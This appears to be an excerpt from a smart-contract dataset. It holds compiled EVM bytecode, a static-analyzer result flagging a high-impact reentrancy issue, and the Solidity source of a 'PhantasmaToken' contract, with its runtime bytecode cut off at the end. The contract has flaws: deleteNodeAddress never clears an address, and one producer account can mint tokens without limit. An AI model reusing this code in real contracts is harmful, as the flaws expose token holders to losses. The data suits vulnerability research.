683a206469766973696f6e206279207a65726f000000000000815250612314565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612019573d6000803e3d6000fd5b5050565b6000600954821115612064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205b906136a7565b60405180910390fd5b600061206e612377565b90506120838184611f6790919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120c3576120c2612ba8565b5b6040519080825280602002602001820160405280156120f15781602001602082028036833780820191505090505b509050308160008151811061210957612108612fcc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156121b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121d491906130c4565b816001815181106121e8576121e7612fcc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061224f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461171a565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122b3959493929190613785565b600060405180830381600087803b1580156122cd57600080fd5b505af11580156122e1573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b61230f8383836123a2565b505050565b6000808311829061235b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235291906129d2565b60405180910390fd5b506000838561236a9190613572565b9050809150509392505050565b600080600061238461256d565b9150915061239b8183611f6790919063ffffffff16565b9250505090565b6000806000806000806123b4876125cf565b95509550955095509550955061241286600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266490919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124a785600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ae90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f38161270c565b6124fd84836127c9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161255a9190612b88565b60405180910390a3505050505050505050565b600080600060095490506000683635c9adc5dea0000090506125a3683635c9adc5dea00000600954611f6790919063ffffffff16565b8210156125c257600954683635c9adc5dea000009350935050506125cb565b81819350935050505b9091565b60008060008060008060008060006125e5612803565b612603576125fe8a600b60020154600b6003015461281a565b612619565b6126188a600b60000154600b6001015461281a565b5b9250925092506000612629612377565b9050600080600061263c8e8787876128b0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126a683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e89565b905092915050565b60008082846126bd9190612f76565b905083811015612702576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126f99061382b565b60405180910390fd5b8091505092915050565b6000612716612377565b9050600061272d8284611eed90919063ffffffff16565b905061278181600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ae90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127de8260095461266490919063ffffffff16565b6009819055506127f981600a546126ae90919063ffffffff16565b600a819055505050565b6000601460189054906101000a900460ff16905090565b6000806000806128466064612838888a611eed90919063ffffffff16565b611f6790919063ffffffff16565b905060006128706064612862888b611eed90919063ffffffff16565b611f6790919063ffffffff16565b905060006128998261288b858c61266490919063ffffffff16565b61266490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128c98589611eed90919063ffffffff16565b905060006128e08689611eed90919063ffffffff16565b905060006128f78789611eed90919063ffffffff16565b9050600061292082612912858761266490919063ffffffff16565b61266490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612973578082015181840152602081019050612958565b83811115612982576000848401525b50505050565b6000601f19601f8301169050919050565b60006129a482612939565b6129ae8185612944565b93506129be818560208601612955565b6129c781612988565b840191505092915050565b600060208201905081810360008301526129ec8184612999565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a3382612a08565b9050919050565b612a4381612a28565b8114612a4e57600080fd5b50565b600081359050612a6081612a3a565b92915050565b6000819050919050565b612a7981612a66565b8114612a8457600080fd5b50565b600081359050612a9681612a70565b92915050565b60008060408385031215612ab357612ab26129fe565b5b6000612ac185828601612a51565b9250506020612ad285828601612a87565b9150509250929050565b60008115159050919050565b612af181612adc565b82525050565b6000602082019050612b0c6000830184612ae8565b92915050565b60008060008060808587031215612b2c57612b2b6129fe565b5b6000612b3a87828801612a87565b9450506020612b4b87828801612a87565b9350506040612b5c87828801612a87565b9250506060612b6d87828801612a87565b91505092959194509250565b612b8281612a66565b82525050565b6000602082019050612b9d6000830184612b79565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612be082612988565b810181811067ffffffffffffffff82111715612bff57612bfe612ba8565b5b80604052505050565b6000612c126129f4565b9050612c1e8282612bd7565b919050565b600067ffffffffffffffff821115612c3e57612c3d612ba8565b5b602082029050602081019050919050565b600080fd5b6000612c67612c6284612c23565b612c08565b90508083825260208201905060208402830185811115612c8a57612c89612c4f565b5b835b81811015612cb35780612c9f8882612a51565b845260208401935050602081019050612c8c565b5050509392505050565b600082601f830112612cd257612cd1612ba3565b5b8135612ce2848260208601612c54565b91505092915050565b600060208284031215612d0157612d006129fe565b5b600082013567ffffffffffffffff811115612d1f57612d1e612a03565b5b612d2b84828501612cbd565b91505092915050565b600080600060608486031215612d4d57612d4c6129fe565b5b6000612d5b86828701612a51565b9350506020612d6c86828701612a51565b9250506040612d7d86828701612a87565b9150509250925092565b600060208284031215612d9d57612d9c6129fe565b5b6000612dab84828501612a51565b91505092915050565b600060ff82169050919050565b612dca81612db4565b82525050565b6000602082019050612de56000830184612dc1565b92915050565b600060208284031215612e0157612e006129fe565b5b6000612e0f84828501612a87565b91505092915050565b612e2181612adc565b8114612e2c57600080fd5b50565b600081359050612e3e81612e18565b92915050565b600060208284031215612e5a57612e596129fe565b5b6000612e6884828501612e2f565b91505092915050565b612e7a81612a28565b82525050565b6000602082019050612e956000830184612e71565b92915050565b60008060408385031215612eb257612eb16129fe565b5b6000612ec085828601612a51565b9250506020612ed185828601612a51565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612f11602083612944565b9150612f1c82612edb565b602082019050919050565b60006020820190508181036000830152612f4081612f04565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f8182612a66565b9150612f8c83612a66565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fc157612fc0612f47565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061300682612a66565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361303857613037612f47565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000613079601783612944565b915061308482613043565b602082019050919050565b600060208201905081810360008301526130a88161306c565b9050919050565b6000815190506130be81612a3a565b92915050565b6000602082840312156130da576130d96129fe565b5b60006130e8848285016130af565b91505092915050565b60006040820190506131066000830185612e71565b6131136020830184612e71565b9392505050565b6000819050919050565b6000819050919050565b600061314961314461313f8461311a565b613124565b612a66565b9050919050565b6131598161312e565b82525050565b600060c0820190506131746000830189612e71565b6131816020830188612b79565b61318e6040830187613150565b61319b6060830186613150565b6131a86080830185612e71565b6131b560a0830184612b79565b979650505050505050565b6000815190506131cf81612a70565b92915050565b6000806000606084860312156131ee576131ed6129fe565b5b60006131fc868287016131c0565b935050602061320d868287016131c0565b925050604061321e868287016131c0565b9150509250925092565b600060408201905061323d6000830185612e71565b61324a6020830184612b79565b9392505050565b60008151905061326081612e18565b92915050565b60006020828403121561327c5761327b6129fe565b5b600061328a84828501613251565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006132ef602483612944565b91506132fa82613293565b604082019050919050565b6000602082019050818103600083015261331e816132e2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613381602283612944565b915061338c82613325565b604082019050919050565b600060208201905081810360008301526133b081613374565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613413602983612944565b915061341e826133b7565b604082019050919050565b6000602082019050818103600083015261344281613406565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061347f601a83612944565b915061348a82613449565b602082019050919050565b600060208201905081810360008301526134ae81613472565b9050919050565b60006134c082612a66565b91506134cb83612a66565b9250828210156134de576134dd612f47565b5b828203905092915050565b60006134f482612a66565b91506134ff83612a66565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561353857613537612f47565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061357d82612a66565b915061358883612a66565b92508261359857613597613543565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006135ff602183612944565b915061360a826135a3565b604082019050919050565b6000602082019050818103600083015261362e816135f2565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613691602a83612944565b915061369c82613635565b604082019050919050565b600060208201905081810360008301526136c081613684565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6136fc81612a28565b82525050565b600061370e83836136f3565b60208301905092915050565b6000602082019050919050565b6000613732826136c7565b61373c81856136d2565b9350613747836136e3565b8060005b8381101561377857815161375f8882613702565b975061376a8361371a565b92505060018101905061374b565b5085935050505092915050565b600060a08201905061379a6000830188612b79565b6137a76020830187613150565b81810360408301526137b98186613727565b90506137c86060830185612e71565b6137d56080830184612b79565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613815601b83612944565b9150613820826137df565b602082019050919050565b6000602082019050818103600083015261384481613808565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220987f97d5c1e8f67a1980966e797b4dd40b8e6de284da1237658a39f58d1bbff164736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,227 |
0x79c75e2e8720b39e258f41c37cc4f309e0b0ff80
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
abstract contract Pausable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract PhantasmaToken is Pausable {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping(address => bool) private _burnAddresses;
uint256 private _totalSupply;
address private _producer;
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = 0;
_producer = msg.sender;
addNodeAddress(msg.sender);
}
function addNodeAddress(address _address) public {
require(msg.sender == _producer);
require(!_burnAddresses[msg.sender]);
_burnAddresses[_address] = true;
}
function deleteNodeAddress(address _address) public {
require(msg.sender == _producer);
require(_burnAddresses[_address]);
_burnAddresses[_address] = true;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(!paused(), "transfer while paused" );
require(_balances[msg.sender] >= _value);
if (_burnAddresses[_to]) {
return swapOut(msg.sender, _to, _value);
} else {
_balances[msg.sender] = _balances[msg.sender].sub(_value);
_balances[_to] = _balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(!paused(), "transferFrom while paused");
uint256 allowance = _allowances[_from][msg.sender];
require(_balances[_from] >= _value && allowance >= _value);
_balances[_to] = _balances[_to].add(_value);
_balances[_from] = _balances[_from].sub(_value);
if (allowance < MAX_UINT256) {
_allowances[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function approve(address _spender, uint256 _value) public returns (bool) {
_allowances[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
require(!paused(), "allowance while paused");
return _allowances[_owner][_spender];
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function swapInit(address newProducer) public returns (bool success) {
require(msg.sender == _producer);
_burnAddresses[_producer] = false;
_producer = newProducer;
_burnAddresses[newProducer] = true;
emit SwapInit(msg.sender, newProducer);
return true;
}
function swapIn(address source, address target, uint256 amount) public returns (bool success) {
require(!paused(), "swapIn while paused" );
require(msg.sender == _producer); // only called by Spook
_totalSupply = _totalSupply.add(amount);
_balances[target] = _balances[target].add(amount);
emit Transfer(source, target, amount);
return true;
}
function swapOut(address source, address target, uint256 amount) private returns (bool success) {
require(msg.sender == source, "sender != source");
require(_balances[source] >= amount);
require(_totalSupply >= amount);
_totalSupply = _totalSupply.sub(amount);
_balances[source] = _balances[source].sub(amount);
emit Transfer(source, target, amount);
return true;
}
function pause() public {
require(msg.sender == _producer);
_pause();
}
function unpause() public {
require(msg.sender == _producer);
_unpause();
}
// solhint-disable-next-line no-simple-event-func-name
event SwapInit(address indexed _from, address indexed _to);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80636c89ae841161009757806395d89b411161006657806395d89b411461041d578063a9059cbb146104a0578063dd62ed3e14610504578063f78d880e1461057c57610100565b80636c89ae841461031d57806370a08231146103775780638456cb59146103cf57806388d109a7146103d957610100565b806323b872dd116100d357806323b872dd1461024e578063313ce567146102d25780633f4ba83a146102f35780635c975abb146102fd57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806318f833791461020a575b600080fd5b61010d610600565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106a2565b60405180821515815260200191505060405180910390f35b6101f4610794565b6040518082815260200191505060405180910390f35b61024c6004803603602081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061079e565b005b6102ba6004803603606081101561026457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108aa565b60405180821515815260200191505060405180910390f35b6102da610c4e565b604051808260ff16815260200191505060405180910390f35b6102fb610c65565b005b610305610cc9565b60405180821515815260200191505060405180910390f35b61035f6004803603602081101561033357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cdf565b60405180821515815260200191505060405180910390f35b6103b96004803603602081101561038d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eb1565b6040518082815260200191505060405180910390f35b6103d7610efa565b005b61041b600480360360208110156103ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f5e565b005b610425611069565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561046557808201518184015260208101905061044a565b50505050905090810190601f1680156104925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ec600480360360408110156104b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061110b565b60405180821515815260200191505060405180910390f35b6105666004803603604081101561051a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113d2565b6040518082815260200191505060405180910390f35b6105e86004803603606081101561059257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114d4565b60405180821515815260200191505060405180910390f35b606060018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106985780601f1061066d57610100808354040283529160200191610698565b820191906000526020600020905b81548152906001019060200180831161067b57829003601f168201915b5050505050905090565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600754905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107f857600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561084f57600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006108b4610cc9565b15610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f7472616e7366657246726f6d207768696c65207061757365640000000000000081525060200191505060405180910390fd5b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156109f75750828110155b610a0057600080fd5b610a5283600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cb90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ae783600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175390919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811015610bdd5782600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6000600360009054906101000a900460ff16905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cbf57600080fd5b610cc761179d565b565b60008060009054906101000a900460ff16905090565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d3b57600080fd5b600060066000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f75b91fa1da1a0b134e88d33dcd1b8db5e9d7147fc6307e747c914d505d4b2a8760405160405180910390a360019050919050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f5457600080fd5b610f5c611886565b565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fb857600080fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661100e57600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b606060028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111015780601f106110d657610100808354040283529160200191611101565b820191906000526020600020905b8154815290600101906020018083116110e457829003601f168201915b5050505050905090565b6000611115610cc9565b15611188576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f7472616e73666572207768696c6520706175736564000000000000000000000081525060200191505060405180910390fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111d457600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561123857611231338484611970565b90506113cc565b61128a82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175390919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061131f82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cb90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60006113dc610cc9565b1561144f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f616c6c6f77616e6365207768696c65207061757365640000000000000000000081525060200191505060405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006114de610cc9565b15611551576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f73776170496e207768696c65207061757365640000000000000000000000000081525060200191505060405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115ab57600080fd5b6115c0826007546116cb90919063ffffffff16565b60078190555061161882600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cb90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008082840190